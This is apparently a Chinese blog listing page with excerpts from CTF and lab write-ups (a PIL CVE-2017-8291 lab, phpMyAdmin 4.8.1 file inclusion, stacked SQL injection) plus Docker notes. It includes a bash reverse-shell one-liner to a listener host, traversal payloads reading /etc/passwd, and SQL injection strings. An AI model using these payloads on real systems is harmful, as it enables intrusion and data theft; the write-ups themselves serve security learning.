- 博客(7)
- 收藏
- 关注
RSS订阅原创 PIL-CVE-2017-8291
打开靶场 192.168.71.141:8000打开 讲poc.png上传 以 docker exec –it 7dd /bin/bash 进入容器在tmp下找到poc.png 反弹shell bash –c “bash –i >& /dev/tcp/192.168.71.131/8888 0>&1” Kali启动监听 成功 ...
2022-05-06 16:44:30
1063
原创 Docker容器命令
有了镜像才可以创建容器，Linux，下载一个centos镜像来测试学习 下载centos镜像 docker pull centos 新建容器并启动 docker run [可选参数] image #参数说明--name="Name" 容器名字tomcat0l tomeat02，用来区分容器 -d 后台方式运行 -it 使用交互方式运行，进入容器查看内容 -p 指定容器的端口 -p 8080:8080 -p ip:主机端口:容器端口 -p 主机端口:容器端口（常用)-p容器端口 .
2022-03-29 18:25:35
843
原创 docker安装
一、Docker的基本组成 镜像( image ) : docker镜像就好比是一个模板，可以通过这个模板来创建容器服务，tomcat镜像===>run ==> tomcat01容器（提供服务器），通过这个镜像可以创建多个容器（最终服务运行或者项目运行就是在容器中的)。 容器( container ) : Docker利用容器技术，独立运行一个或者一个组应用，通过镜像来创建的。启动，停止，删除，基本命令! 目前就可以把这个容器理解为就是一个简易的linux系统 仓库(reposito
2022-03-29 17:53:36
1316
原创 [GWCTF 2019]我有一个数据库
用御剑扫描 得出phpmyadmin 版本是4.8.1 百度一下4.8.1存在远程漏洞包含 https://www.cnblogs.com/leixiao-/p/10265150.html /phpmyadmin/index.php?target=db_datadict.php%253f../../../../../../etc/passwd index.php?target=db_sql.php%253f/../../../../../../../../flag ...
2021-06-29 22:11:33
148
2
原创 supersqli
普通注入 出现了正则匹配过滤 主要堆叠注入+预编译 -1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare aaa from @sql;EXECUTE aaa;# 过滤了set（设置） 和 prepare(调制,准备) 考虑大小写过滤 1';sEt @sql = CONCAT('sele','ct * from `1919810931114514`;');prepArE aaa from @...
2021-06-24 20:39:30
77
原创 攻防世界 NaNaNaNNaN-Batman
一、下载附件1 并解压后得到web100,用Sublime打开后 发现是js代码 改缀名 .html 不过发现最后有一函数 eval() 函数可计算某个字符串，并执行其中的的 JavaScript 代码。 改成 alert() 弹窗 用浏览器打开 复制 粘贴后 function $(){ var e=document.getElementById("c").value; if(e.length==16) if(e.match(/^be0f23/)!=null) ...
2021-05-21 21:19:36
192
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人